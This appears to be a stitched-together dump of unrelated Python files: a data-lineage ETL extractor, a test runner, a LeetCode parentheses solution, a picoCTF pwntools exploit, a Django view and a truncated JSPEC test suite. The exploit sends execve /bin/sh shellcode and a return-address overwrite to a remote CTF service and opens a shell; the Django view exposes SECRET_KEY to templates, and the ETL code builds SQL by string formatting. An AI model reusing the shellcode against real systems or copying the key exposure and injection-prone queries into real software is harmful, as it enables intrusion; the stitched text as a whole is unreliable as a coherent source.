if 'full_path' in results['table'][0] and results['table'][0]['full_path']:
index = results['table'][0]['full_path'].index('.')
if index != -1:
schema_name = results['table'][0]['full_path'][0:index]
elif 'schema_name' in results['table'][0] and results['table'][0]['schema_name']:
schema_name = results['table'][0]['schema_name']
self.aw_cursor.execute(update_staging_lineage_query %
(int(row['app_id']), int(row['flow_exec_id']), int(row['job_exec_id']),
row['flow_path'], row['job_name'], int(row['start_time']), int(row['end_time']), 0,
('/' + schema_name + '/' + results['table'][0]['abstracted_path']) \
if schema_name else results['table'][0]['abstracted_path'], results['table'][0]['full_path'],
None, None, None, None, None, None, results['table'][0]['storage_type'],
results['table'][0]['table_type'], bteq_load_srl, 0, 0,
'Read',
0, 0, int(row['wh_etl_exec_id']) ))
bteq_load_srl = bteq_load_srl + 1
schema_name = ''
if 'full_path' in results['table'][1] and results['table'][1]['full_path']:
full_table_name = results['table'][1]['full_path']
index = full_table_name.index('.')
if index != -1:
schema_name = full_table_name[0:index]
elif 'schema_name' in results['table'][1] and results['table'][1]['schema_name']:
full_table_name = results['table'][1]['schema_name'] + '.' + results['table'][1]['table_name']
schema_name = results['table'][1]['schema_name']
else:
full_table_name = results['table'][1]['table_name']
self.aw_cursor.execute(update_staging_lineage_query %
(int(row['app_id']), int(row['flow_exec_id']), int(row['job_exec_id']),
row['flow_path'], row['job_name'], int(row['start_time']), int(row['end_time']), db_id,
('/' + schema_name + '/' + results['table'][1]['table_name']) \
if schema_name else results['table'][1]['table_name'],
full_table_name, None, None, None, None, None, None, 'Teradata',
results['table'][0]['table_type'], bteq_load_srl, 0, 0,
'Load',
0, 0, int(row['wh_etl_exec_id']) ))
self.aw_con.commit()
self.logger.info("Parsing script: %s/%s" % (results['script_path'], results['script_name']))
entries = BteqLogParser().parse(
key_values,
self.local_script_path +
results['script_path'] + '/' +
results['script_name'],
results['script_path'],
results['script_name'], self.bteq_source_target_override, self.metric_override
)
metric_idx = 1
for srl, e in enumerate(entries):
schema_name, table_name = ParseUtil.get_db_table_abstraction(e['relation'])
full_table_name = schema_name + '.' + table_name
self.aw_cursor.execute(update_staging_lineage_query %
(int(row['app_id']), int(row['flow_exec_id']), int(row['job_exec_id']),
row['flow_path'], row['job_name'], int(row['start_time']), int(row['end_time']),
db_id, '/' + schema_name + '/' + table_name, full_table_name,
None, None, None, None, None, None, e['storage_type'],
e['table_type'], (bteq_load_srl + srl + 1), 0, 0,
e['operation'],
0, 0, int(row['wh_etl_exec_id']) ))
self.aw_con.commit()
else:
for p in parsed_lineage:
p['database_id'] = db_id
self.aw_cursor.execute(update_staging_lineage_query %
(int(row['app_id']), int(row['flow_exec_id']), int(row['job_exec_id']),
row['flow_path'], row['job_name'], int(row['start_time']), int(row['end_time']),
p['database_id'], p['abstracted_object_name'], p['full_object_name'],
p['partition_start'], p['partition_start'], p['partition_end'], p['partition_end'],
p['partition_type'], p['partition_type'], p['storage_type'],
p['source_target_type'], p['srl_no'], 0, 0,
p['operation'],
0, 0, int(row['wh_etl_exec_id']) ))
self.aw_con.commit()
self.logger.info('Completed processing metadata for log file: %s' % row['gzipped_file_name'])
except:
self.logger.error(str(sys.exc_info()[0]))
def process_li_getreplacemergegeneral(self, module_name):
self.logger.info("process %s" % module_name)
if module_name not in ['LI_GETREPLACEMERGEGENERAL', 'LINKEDIN_SHELL','LI_WEBHDFS_GET']: return
parameter_query = \
"""
SELECT GROUP_CONCAT(param_value,'\x01') args
FROM job_parameter
WHERE app_id = %d
AND job_exec_id = %d
AND attempt_number = %d
ORDER BY param_no
"""
rows = self.get_log_file_name(module_name=module_name)
for row in rows:
try:
self.logger.info('Parsing log file: %s' % row['gzipped_file_name'])
if module_name == 'LI_GETREPLACEMERGEGENERAL':
self.aw_cursor.execute(parameter_query %
(int(row['app_id']), int(row['job_exec_id']), int(row['attempt_id'])))
arg_values = DbUtil.copy_dict_cursor(self.aw_cursor)
if arg_values and len(arg_values) > 0:
args = arg_values[0]['args']
results = AppworxLogParser(log_file_name = row['gzipped_file_name']).parse_log({}, command_type=module_name)
if any(results) == 0 or not 'cluster' in results:
self.logger.info('Skipped parsing %s' % row['gzipped_file_name'])
continue
self.logger.info(str(results))
matched_cluster = re.match(r'(.*)_.*', results['cluster'])
if matched_cluster is not None:
results['cluster'] = matched_cluster.group(1)
db_id = int(self.db_lookup(results['cluster']))
self.logger.info(str(db_id))
self.clean_up_staging_lineage_dbs(row['app_id'], row['job_id'], row['job_exec_id'], row['attempt_id'])
update_source_code_query = \
"""
INSERT INTO job_attempt_source_code(
application_id, job_id, attempt_number, script_name, script_path, script_type, created_date)
VALUES( %d, %d, %d, '%s', '%s', '%s', now())
""" % (int(row['app_id']), int(row['job_id']), int(row['attempt_id']),
results['script_name'], results['script_path'],
results['script_type'] if module_name == 'LI_WEBHDFS_GET' else 'Shell')
update_staging_lineage_query = \
"""
INSERT IGNORE INTO stg_job_execution_data_lineage (
app_id, flow_exec_id, job_exec_id, flow_path, job_name, job_start_unixtime, job_finished_unixtime,
db_id, abstracted_object_name, full_object_name, partition_start, partition_end, partition_type,
storage_type, source_target_type, srl_no, source_srl_no, operation, record_count, insert_count,
created_date, wh_etl_exec_id)
SELECT %d, %d, %d, '%s', '%s', %d, %d, %d, '%s', '%s',
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
'%s', '%s', %d,
CASE WHEN %d = 0 THEN NULL ELSE %d END,
'%s', %d, %d, UNIX_TIMESTAMP(now()), %d
FROM dual
"""
self.aw_cursor.execute(update_source_code_query )
self.aw_con.commit()
for k, tab in enumerate(results['table']):
self.aw_cursor.execute(update_staging_lineage_query %
(int(row['app_id']), int(row['flow_exec_id']), int(row['job_exec_id']),
row['flow_path'], row['job_name'], int(row['start_time']), int(row['end_time']),
db_id if tab['table_type'] == 'source' else 0, tab['abstracted_path'], tab['full_path'],
tab['start_partition'], tab['start_partition'],
tab['end_partition'] if tab['frequency'] != 'snapshot' else None,
tab['end_partition'] if tab['frequency'] != 'snapshot' else None,
tab['frequency'], tab['frequency'], tab['storage_type'],
tab['table_type'], k + 1, 0, 0,
'Hadoop Get' if tab['table_type'] == 'source' else 'Move',
0, 0, int(row['wh_etl_exec_id']) ))
self.aw_con.commit()
self.logger.debug('Completed processing metadata for log file: %s' % row['gzipped_file_name'])
except:
self.logger.error(str(sys.exc_info()[0]))
def process_li_shell_gw(self):
self.logger.info("process li_shell_gw")
parameter_query = \
"""
SELECT param_value
FROM job_parameter
WHERE app_id = %d
AND job_exec_id = %d
AND attempt_number = %d
ORDER BY param_no
"""
rows = self.get_log_file_name(module_name='LI_SHELL_GW')
self.logger.info(str(len(rows)))
for row in rows:
self.aw_cursor.execute(parameter_query %
(int(row['app_id']), int(row['job_exec_id']), int(row['attempt_id'])))
arg_values = DbUtil.copy_dict_cursor(self.aw_cursor)
if arg_values and len(arg_values) > 0 and 'param_value' in arg_values[0]:
args = arg_values[0]['param_value'].replace('"','')
m = re.match("(.*?/trim.sh)\s+\d+\s+\d+", args)
if m is not None:
shell_script_name = os.path.basename(m.group(1))
shell_script_path = os.path.dirname(m.group(1))
app_path = shell_script_path.replace(self.remote_hadoop_script_dir,'')
local_shell_script_path = self.local_script_path + self.remote_script_path + app_path
self.logger.info(local_shell_script_path + '/' + shell_script_name)
shell_script_content = open(local_shell_script_path + '/' + shell_script_name).read()
pig_script = re.search(r'pig\s+\-f\s+(.*?)\s+',shell_script_content)
if pig_script is not None:
pig_script_name = os.path.basename(pig_script.group(1))
pig_script_path = os.path.dirname(pig_script.group(1))
# Compare md5 string of the file with the one parsed last time
md5_str = hashlib.md5()
md5_str.update(shell_script_content)
self.logger.info('Parsing log file: %s' % row['gzipped_file_name'])
src_tgt_map = PigLogParser(log_file_name=row['gzipped_file_name']).simple_parser()
if any(src_tgt_map) == 0:
self.logger.warn('Pig log parser fails to retrieve relevant information from file: %s. Most probably Pig script did not complete successfully' % row['gzipped_file_name'])
continue
self.logger.info(str(src_tgt_map))
db_id = self.db_lookup(src_tgt_map['cluster'])
self.clean_up_staging_lineage_dbs(row['app_id'], row['job_id'], row['job_exec_id'], row['attempt_id'])
update_source_code_query = \
"""
INSERT INTO job_attempt_source_code(
application_id, job_id, attempt_number, script_name, script_path, script_type, created_date)
VALUES( %d, %d, %d, '%s', '%s', '%s', now())
""" % (int(row['app_id']), int(row['job_id']), int(row['attempt_id']),
pig_script_name, pig_script_path, 'Pig')
self.aw_cursor.execute(update_source_code_query )
update_staging_lineage_query = \
"""
INSERT IGNORE INTO stg_job_execution_data_lineage (
app_id, flow_exec_id, job_exec_id, flow_path, job_name, job_start_unixtime, job_finished_unixtime,
db_id, abstracted_object_name, full_object_name, partition_start, partition_end, partition_type,
storage_type, source_target_type, srl_no, source_srl_no, operation, record_count, insert_count,
created_date, wh_etl_exec_id)
SELECT %d, %d, %d, '%s', '%s', %d, %d, %d, '%s', '%s',
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
'%s', '%s', %d,
CASE WHEN %d = 0 THEN NULL ELSE %d END,
'%s', %d, %d, UNIX_TIMESTAMP(now()), %d
FROM dual
"""
srl = 0
detail_srl = 1
for k,v in src_tgt_map.items():
if k in ['cluster'] or k in ['hive-cluster']: continue
srl = srl + 1
self.aw_cursor.execute(update_staging_lineage_query %
(int(row['app_id']), int(row['flow_exec_id']), int(row['job_exec_id']),
row['flow_path'], row['job_name'], int(row['start_time']), int(row['end_time']),
db_id, src_tgt_map[k]['abstracted_hdfs_path'], None,
src_tgt_map[k]['min_start_partition'], src_tgt_map[k]['min_start_partition'],
src_tgt_map[k]['max_end_partition'] if src_tgt_map[k]['table_type'] != 'snapshot' else None,
src_tgt_map[k]['max_end_partition'] if src_tgt_map[k]['table_type'] != 'snapshot' else None,
src_tgt_map[k]['partition_type'], src_tgt_map[k]['partition_type'], 'HDFS',
src_tgt_map[k]['table_type'], int(srl), 0, 0,
'Load' if src_tgt_map[k]['table_type'] == 'source' else 'Store',
0, 0, int(row['wh_etl_exec_id']) ))
srl = srl + 1
self.aw_con.commit()
self.logger.debug('Completed writing metadata for: %s' % row['gzipped_file_name'])
else:
self.logger.error("Fails to get Pig script file name used in GW shell script: %s" % m.group(1))
def process_kafka_sonora_hadoop_get(self):
self.logger.info("process kafka_sonora_hadoop_get")
rows = self.get_log_file_name(module_name='KFK_SONORA_HADOOP_GET')
for row in rows:
try:
self.logger.info('Parsing log file: %s' % row['gzipped_file_name'])
results = AppworxLogParser(log_file_name = row['gzipped_file_name']).parse_log({}, command_type='KFK_SONORA_HADOOP_GET')
if any(results) == 0:
self.logger.info('Skipped parsing %s' % row['gzipped_file_name'])
continue
self.logger.info(str(results))
db_id = int(self.db_lookup(results['cluster']))
self.clean_up_staging_lineage_dbs(row['app_id'], row['job_id'], row['job_exec_id'], row['attempt_id'])
update_source_code_query = \
"""
INSERT INTO job_attempt_source_code(
application_id, job_id, attempt_number, script_name, script_path, script_type, created_date)
VALUES( %d, %d, %d, '%s', '%s', '%s', now())
""" % (int(row['app_id']), int(row['job_id']), int(row['attempt_id']),
results['script_name'], results['script_path'], 'Shell')
self.aw_cursor.execute(update_source_code_query )
self.aw_con.commit()
update_staging_lineage_query = \
"""
INSERT IGNORE INTO stg_job_execution_data_lineage (
app_id, flow_exec_id, job_exec_id, flow_path, job_name, job_start_unixtime, job_finished_unixtime,
db_id, abstracted_object_name, full_object_name, partition_start, partition_end, partition_type,
storage_type, source_target_type, srl_no, source_srl_no, operation, record_count, insert_count,
created_date, wh_etl_exec_id)
SELECT %d, %d, %d, '%s', '%s', %d, %d, %d, '%s', '%s',
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
'%s', '%s', %d,
CASE WHEN %d = 0 THEN NULL ELSE %d END,
'%s', %d, %d, UNIX_TIMESTAMP(now()), %d
FROM dual
"""
for k, tab in enumerate(results['table']):
self.aw_cursor.execute(update_staging_lineage_query %
(int(row['app_id']), int(row['flow_exec_id']), int(row['job_exec_id']),
row['flow_path'], row['job_name'], int(row['start_time']), int(row['end_time']),
db_id, tab['abstracted_path'], tab['full_path'],
tab['start_partition'], tab['start_partition'],
tab['end_partition'] if tab['frequency'] != 'snapshot' else None,
tab['end_partition'] if tab['frequency'] != 'snapshot' else None,
tab['frequency'], tab['frequency'], tab['storage_type'],
tab['table_type'], k + 1, 0, 0,
'Hadoop Get' if tab['table_type'] == 'source' else 'Write',
0, 0, int(row['wh_etl_exec_id']) ))
self.aw_con.commit()
self.logger.info('Completed processing hadoop for log file: %s' % row['gzipped_file_name'])
except:
self.logger.error(str(sys.exc_info()[0]))
def process_li_tpt_insert(self):
self.logger.info("process li_tpt_insert")
rows = self.get_log_file_name(module_name='LI_TPT_INSERT')
for row in rows:
try:
self.logger.info('Parsing log file: %s' % row['gzipped_file_name'])
results = AppworxLogParser(log_file_name = row['gzipped_file_name']).parse_log({}, command_type='LI_TPT_INSERT')
if any(results) == 0:
self.logger.info('Skipped parsing %s' % row['gzipped_file_name'])
continue
self.logger.info(str(results))
db_id = int(self.db_lookup(results['table'][1]['host']))
self.clean_up_staging_lineage_dbs(row['app_id'], row['job_id'], row['job_exec_id'], row['attempt_id'])
update_source_code_query = \
"""
INSERT INTO job_attempt_source_code(
application_id, job_id, attempt_number, script_name, script_path, script_type, created_date)
VALUES( %d, %d, %d, '%s', '%s', '%s', now())
""" % (int(row['app_id']), int(row['job_id']), int(row['attempt_id']),
results['script_name'], results['script_path'], 'TPT')
self.aw_cursor.execute(update_source_code_query )
self.aw_con.commit()
update_staging_lineage_query = \
"""
INSERT IGNORE INTO stg_job_execution_data_lineage (
app_id, flow_exec_id, job_exec_id, flow_path, job_name, job_start_unixtime, job_finished_unixtime,
db_id, abstracted_object_name, full_object_name, partition_start, partition_end, partition_type,
storage_type, source_target_type, srl_no, source_srl_no, operation, record_count, insert_count,
created_date, wh_etl_exec_id)
SELECT %d, %d, %d, '%s', '%s', %d, %d, %d, '%s', '%s',
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
'%s', '%s', %d,
CASE WHEN %d = 0 THEN NULL ELSE %d END,
'%s', %d, %d, UNIX_TIMESTAMP(now()), %d
FROM dual
"""
tab = results['table'][0]
self.aw_cursor.execute(update_staging_lineage_query %
(int(row['app_id']), int(row['flow_exec_id']), int(row['job_exec_id']),
row['flow_path'], row['job_name'], int(row['start_time']), int(row['end_time']),
0, tab['abstracted_path'], tab['full_path'],
tab['start_partition'], tab['start_partition'],
tab['end_partition'] if tab['frequency'] != 'snapshot' else None,
tab['end_partition'] if tab['frequency'] != 'snapshot' else None,
tab['frequency'], tab['frequency'], tab['storage_type'],
tab['table_type'], 1, 0, 0, 'Read',
0, 0, int(row['wh_etl_exec_id']) ))
tab = results['table'][1] # position 1 is target table
full_table_name = tab['schema'] + '.' + tab['table_name']
self.aw_cursor.execute(update_staging_lineage_query %
(int(row['app_id']), int(row['flow_exec_id']), int(row['job_exec_id']),
row['flow_path'], row['job_name'], int(row['start_time']), int(row['end_time']),
db_id, tab['table_name'], full_table_name,
None, None,
None, None,
None, None, tab['storage_type'],
tab['table_type'], 2, 0, 0, 'Write',
0, int(tab['insert_count']), int(row['wh_etl_exec_id']) ))
self.aw_con.commit()
self.logger.info('Completed processing li_tpt_insert for log file: %s' % row['gzipped_file_name'])
except:
self.logger.error(str(sys.exc_info()[0]))
def process_li_hadoop(self):
self.logger.info("process li_hadoop")
rows = self.get_log_file_name(module_name='LI_HADOOP')
for row in rows:
try:
self.logger.info('Parsing log file: %s' % row['gzipped_file_name'])
results = AppworxLogParser(log_file_name = row['gzipped_file_name']).parse_log({}, command_type='LI_HADOOP')
if any(results) == 0:
self.logger.info('Skipped parsing %s' % row['gzipped_file_name'])
continue
self.logger.info(str(results))
if 'ref_mr_job_ids' in results and 'script_type' in results and results['script_type'] != 'Lassen':
self.logger.error("MR JOBS:")
self.logger.error(str(results['ref_mr_job_ids']))
db_id = int(self.db_lookup(results['cluster']))
self.clean_up_staging_lineage_dbs(row['app_id'], row['job_id'], row['job_exec_id'], row['attempt_id'])
update_source_code_query = \
"""
INSERT INTO job_attempt_source_code(
application_id, job_id, attempt_number, script_name, script_path, script_type, created_date)
VALUES( %d, %d, %d, '%s', '%s', '%s', now())
""" % (int(row['app_id']), int(row['job_id']), int(row['attempt_id']),
results['script_name'], results['script_path'], results['script_type'])
self.aw_cursor.execute(update_source_code_query )
self.aw_con.commit()
update_staging_lineage_query = \
"""
INSERT IGNORE INTO stg_job_execution_data_lineage (
app_id, flow_exec_id, job_exec_id, flow_path, job_name, job_start_unixtime, job_finished_unixtime,
db_id, abstracted_object_name, full_object_name, partition_start, partition_end, partition_type,
storage_type, source_target_type, srl_no, source_srl_no, operation, record_count,
created_date, wh_etl_exec_id)
SELECT %d, %d, %d, '%s', '%s', %d, %d, %d, '%s', '%s',
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
'%s', '%s', %d,
CASE WHEN %d = 0 THEN NULL ELSE %d END,
'%s', %d, UNIX_TIMESTAMP(now()), %d
FROM dual
"""
if results['script_type'] == 'Lassen':
srl = 1
for index, tab in enumerate(results['table']):
source_database_id = int(self.db_lookup(tab['source_database']))
full_table_name = \
(tab['source_schema'] + '.' if tab['source_schema'] is not None else '') + \
tab['source_table_name']
self.aw_cursor.execute(update_staging_lineage_query %
(int(row['app_id']), int(row['flow_exec_id']), int(row['job_exec_id']),
row['flow_path'], row['job_name'], int(row['start_time']), int(row['end_time']),
source_database_id, tab['source_table_name'], full_table_name,
None, None, None, None, None, None, 'Teradata',
'source', int(srl), 0, 0, 'JDBC Read',
0, int(row['wh_etl_exec_id']) ))
source_srl_no = srl
srl += 1
self.aw_cursor.execute(update_staging_lineage_query %
(int(row['app_id']), int(row['flow_exec_id']), int(row['job_exec_id']),
row['flow_path'], row['job_name'], int(row['start_time']), int(row['end_time']),
db_id, tab['abstracted_path'], tab['full_path'],
tab['start_partition'], tab['start_partition'],
tab['end_partition'] if tab['frequency'] != 'snapshot' else None,
tab['end_partition'] if tab['frequency'] != 'snapshot' else None,
tab['frequency'], tab['frequency'],
'HDFS',
'target', int(srl), int(source_srl_no), int(source_srl_no), 'HDFS Write',
int(tab['record_count']), int(row['wh_etl_exec_id']) ))
srl += 1
elif results['script_type'] == 'CMD':
db_id = self.db_lookup(results['cluster'])
for index, tab in enumerate(results['table']):
self.aw_cursor.execute(update_staging_lineage_query %
(int(row['app_id']), int(row['flow_exec_id']), int(row['job_exec_id']),
row['flow_path'], row['job_name'], int(row['start_time']), int(row['end_time']),
db_id, tab['abstracted_path'], tab['full_path'],
tab['start_partition'], tab['start_partition'],
tab['end_partition'] if tab['frequency'] != 'snapshot' else None,
tab['end_partition'] if tab['frequency'] != 'snapshot' else None,
tab['frequency'], tab['frequency'],
tab['storage_type'],
'source' if index == 0 else 'target', index + 1, 0, 'Read' if index == 0 else 'Write',
str(tab['record_count']), int(row['wh_etl_exec_id']) ))
self.aw_con.commit()
self.logger.info('Completed processing hadoop for log file: %s' % row['gzipped_file_name'])
except:
self.logger.error(str(sys.exc_info()[0]))
def process_li_pig(self):
self.logger.info("process li_pig")
rows = self.get_log_file_name(module_name='LI_PIG_JOB')
results = {}
for row in rows:
try:
self.logger.info(row['gzipped_file_name'])
results = AppworxLogParser(log_file_name = row['gzipped_file_name']).parse_log({}, command_type='LI_PIG')
if any(results) == 0:
self.logger.warn("Log file: %s could not be parsed. Skipping the file" % row['gzipped_file_name'])
continue
self.logger.info(str(results))
src_tgt_map = PigLogParser(log_file_name=row['gzipped_file_name']).simple_parser()
if any(src_tgt_map) == 0: # check for nonempty dictionary
self.logger.warn('Pig log inside %s could not be parsed.Skipping the file' % row['gzipped_file_name'])
continue
db_id = int(self.db_lookup(src_tgt_map['cluster']))
if db_id == 0:
self.logger.error("Fails to get lookup information for database: %s" % src_tgt_map['cluster'])
return
hive_db_id = int(self.db_lookup(src_tgt_map['hive-cluster']))
if hive_db_id == 0:
self.logger.error("Fails to get lookup information for database: %s" % (src_tgt_map['hive-cluster']))
hive_db_id = db_id
clean_source_code_query = \
"""
DELETE FROM job_attempt_source_code WHERE application_id = %d and job_id = %d and attempt_number = %d
"""
self.clean_up_staging_lineage_dbs(row['app_id'], row['job_id'], row['job_exec_id'], row['attempt_id'])
update_source_code_query = \
"""
INSERT INTO job_attempt_source_code(
application_id, job_id, attempt_number, script_name, script_path, script_type, created_date)
VALUES( %d, %d, %d, '%s', '%s', 'Pig', now())
""" % (int(row['app_id']), int(row['job_id']), int(row['attempt_id']), results['script_name'], results['script_path'])
self.aw_cursor.execute(update_source_code_query )
self.aw_con.commit()
update_staging_lineage_query = \
"""
INSERT IGNORE INTO stg_job_execution_data_lineage(
app_id, flow_exec_id, job_exec_id, flow_path, job_name, job_start_unixtime, job_finished_unixtime,
db_id, abstracted_object_name, full_object_name, partition_start, partition_end, partition_type,
storage_type, source_target_type, srl_no, operation, record_count,
created_date, wh_etl_exec_id
)
SELECT %d, %d, %d, '%s', '%s', %d, %d, %d, '%s', '%s',
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
CASE WHEN '%s' = 'None' THEN NULL ELSE '%s' END,
'%s', '%s', %d, '%s', %d, UNIX_TIMESTAMP(now()), %d
FROM dual
"""
srl = 0
detail_srl = 1
for k,v in src_tgt_map.items():
if k in ['cluster'] or k in ['hive-cluster']: continue
srl = srl + 1
operation = 'Store'
if src_tgt_map[k]['table_type'] == 'source':
operation = 'Load'
partition_end = None
if src_tgt_map[k]['table_type'] != 'snapshot' and 'max_end_partition' in src_tgt_map[k]:
partition_end = src_tgt_map[k]['max_end_partition']
current_db_id = db_id
if src_tgt_map[k]['storage_type'] == 'HIVE':
current_db_id = hive_db_id
self.aw_cursor.execute(update_staging_lineage_query %
(int(row['app_id']), int(row['flow_exec_id']), int(row['job_exec_id']),
row['flow_path'], row['job_name'], int(row['start_time']), int(row['end_time']),
current_db_id, src_tgt_map[k]['abstracted_hdfs_path'], src_tgt_map[k]['hdfs_path'][0],
src_tgt_map[k]['min_start_partition'],src_tgt_map[k]['min_start_partition'],
partition_end, partition_end, src_tgt_map[k]['partition_type'],
src_tgt_map[k]['partition_type'], src_tgt_map[k]['storage_type'],
src_tgt_map[k]['table_type'], int(srl), operation,
int(src_tgt_map[k]['record_count']), int(row['wh_etl_exec_id']) ))
self.aw_con.commit()
self.logger.info('Completed parsing Pig log inside %s for script: %s/%s' %
(row['gzipped_file_name'],results['script_path'],results['script_name']))
except:
self.logger.error(str(sys.exc_info()[0]))
if __name__ == "__main__":
props = sys.argv[1]
aw = AppworxLineageExtract(props)
aw.run()
|
if __name__ == '__main__':
import nose
nose.run(defaultTest="tests", argv=["--verbosity=2", "--with-html"])
|
'''
# 没看懂
# space:1;time:n
class Solution:
def longestValidParentheses(self, s):
"""
:type s: str
:rtype: int
"""
left, right, max_len = 0, 0, 0
for i in s:
if i == '(': left += 1
else: right += 1
if left == right: max_len = max(max_len, 2 * right)
elif right >= left: left = right = 0
left = right = 0
for i in s[::-1]:
if i == '(': left += 1
else: right += 1
if left == right: max_len = max(max_len, 2 * left)
elif left >= right: left = right = 0
return max_len
'''
# dp
class Solution:
def longestValidParentheses(self, s):
"""
:type s: str
:rtype: int
"""
length = len(s)
if length < 2: return 0
dp = [0 for _ in s]
for i in range(1, length):
print(dp)
if s[i] == ')':
j = i - 1 - dp[i - 1]
if j >= 0 and s[j] == '(': # 匹配'()'
dp[i] = dp[i - 1] + 2
if j > 0: # 这个是判断 left 前面是否能与后面继续连起来
dp[i] += dp[j - 1]
return max(dp)
'''
1. dp[i]是存储的前i个子字符串的最长有效括号子串长度（这里是从0开始数）
2. 很明显dp[i]和dp[i-1]之间是有关系的：
当s[i] == ‘(’时，dp[i]显然为0, 由于我们初始化dp的时候就全部设为0了，所以这种情况压根不用写
当s[i] == ')'时， 如果在dp[i-1]的所表示的最长有效括号子串之前还有一个'('与s[i]对应，那么dp[i] = dp[i-1] + 2
并且还可以继续往前追溯（如果前面还能连起来的话)
'''
|
#!/usr/bin/env python2
from pwn import *
r = remote("shell2017.picoctf.com",40492)
for i in range(11):
r.recvuntil("%d:"%i)
r.send("c\n")
#slightly modified shellcode from http://shell-storm.org/shellcode/files/shellcode-811.php
shellcode1 = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\xeb\x0e"
shellcode2 = "\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\xeb\x0d"
shellcode3 = "\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
r.recvuntil("Enter a name for this centaur:")
r.send("%s\n"%shellcode1)
r.recvuntil("Enter a name for this centaur:")
r.send("%s\n"%shellcode2)
r.recvuntil("Enter a name for this centaur:")
r.send("%s\n"%shellcode3)
for i in range(3,10):
r.recvuntil("Enter a name for this centaur:")
r.send("ABCDEFGH\n")
r.recvuntil("Enter a name for this centaur:")
r.send("AB\x9a\xdb\xff\xff\n")
r.send("a\n"*40)
r.interactive()
|
from almanac.conf import settings as app_settings
from almanac.utils.auth import secure
from django.shortcuts import render
from django.views.generic import TemplateView
from government.models import Body
@secure
class BodyList(TemplateView):
template_name = "almanac/body.live.html"
def get(self, request, *args, **kwargs):
context = self.get_context_data()
context['body'] = Body.objects.get(
slug=kwargs['body']
)
context['statics_path'] = '../../schedule'
context['data'] = './data.json'
context['ad_tag'] = ''
return render(request, self.template_name, context)
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
context['secret'] = app_settings.SECRET_KEY
return context
|
"""JSPEC Testing Module for matching JSPEC documents for a placeholder.
"""
from test.matcher import JSPECTestMatcher
class JSPECTestMatcherPlaceholder(JSPECTestMatcher):
"""Class for testing the behaviour when using the ``match`` method for
placeholders.
A valid JSPEC placeholder one of array, boolean, int, null, object, real or
string.
"""
def test_matcher_placeholder_good(self):
"""Test examples of good matches.
The ``match`` method should return a matching ``JSPEC`` with a
placeholder as its element.
"""
test_cases = [
{
"name": "Object placeholder",
"doc": "object",
"obj": {},
},
{
"name": "Array placeholder",
"doc": "array",
"obj": [],
},
{
"name": "String placeholder",
"doc": "string",
"obj": "",
},
{
"name": "Integer placeholder",
"doc": "int",
"obj": 0,
},
{
"name": "Real placeholder",
"doc": "real",
"obj": 0.0,
},
{
"name": "Number placeholder (1)",
"doc": "number",
"obj": 0,
},
{
"name": "Number placeholder (2)",
"doc": "number",
"obj": 0.0,
},
{
"name": "Bool placeholder",
"doc": "bool",
"obj": False,
},
{
"name": "Object placeholder, not empty",
"doc": "object",
"obj": {"key": "val", "a": 5, "s": {"b":[]}},
},
{
"name": "Array placeholder, not empty",
"doc": "array",
"obj": [1, 2, 3, 4, 5],
},
{
"name": "String placeholder, not empty",
"doc": "string",
"obj": "something",
},
{
"name": "Integer placeholder, not zero",
"doc": "int",
"obj": 1348239,
},
{
"name": "Real placeholder, not zero",
"doc": "real",
"obj": -27.34310,
},
{
"name": "Number placeholder, not zero",
"doc": "number",
"obj": 1348239,
},
{
"name": "Number placeholder, not zero",
"doc": "number",
"obj": -27.34310,
},
{
"name": "Bool placeholder, not False",
"doc": "bool",
"obj": True,
},
{
"name": "Int more than or equal to (1)",
"doc": "int >= 10",
"obj": 30,
},
{
"name": "Int more than or equal to (2)",
"doc": "int >= 10",
"obj": 10,
},
{
"name": "Int more than",
"doc": "int > 10",
"obj": 30,
},
{
"name": "Int less than or equal to (1)",
"doc": "int <= 10",
"obj": 2,
},
{
"name": "Int less than or equal to (2)",
"doc": "int <= 10",
"obj": 10,
},
{
"name": "Int less than",
"doc": "int < 10",
"obj": 2,
},
{
"name": "Real more than or equal to (1)",
"doc": "real >= 10.5",
"obj": 30.7,
},
{
"name": "Real more than or equal to (2)",
"doc": "real >= 10.0",
"obj": 10.0,
},
{
"name": "Real more than",
"doc": "real > 10.5",
"obj": 30.7,
},
{
"name": "Real less than or equal to (1)",
"doc": "real <= 10.0",
"obj": 2.6,
},
{
"name": "Real less than or equal to (2)",
"doc": "real <= 10.5",
"obj": 10.5,
},
{
"name": "Real less than",
"doc": "real < 10.5",
"obj": 2.9,
},
{
"name": "Number more than or equal to (1)",
"doc": "number >= 10.3",
"obj": 30,
},
{
"name": "Number more than or equal to (2)",
"doc": "number >= 10",
"obj": 10.3,
},
{
"name": "Number more than",
"doc": "number > 10",
"obj": 10.2,
},
{
"name": "Number less than or equal to (1)",
"doc": "number <= 10.12",
"obj": 2,
},
{
"name": "Number less than or equal to (2)",
"doc": "number <= 10.7",
"obj": 10,
},
{
"name": "Number less than",
"doc": "number < 10",
"obj": 2.5,
},
]
self._good_match(test_cases)
def test_matcher_placeholder_bad(self):
"""Test examples of bad matches.
The ``match`` method should not return a matching ``JSPEC`` with the
specified placeholder as its element.
"""
test_cases = [
{
"name": "Unwanted array",
"doc": "object",
"obj": [],
"want": "At location $ - expected an object",
},
{
"name": "Unwanted object",
"doc": "array",
"obj": {},
"want": "At location $ - expected an array",
},
{
"name": "Unwanted string",
"doc": "string",
"obj": [],
"want": "At location $ - expected a string",
},
{
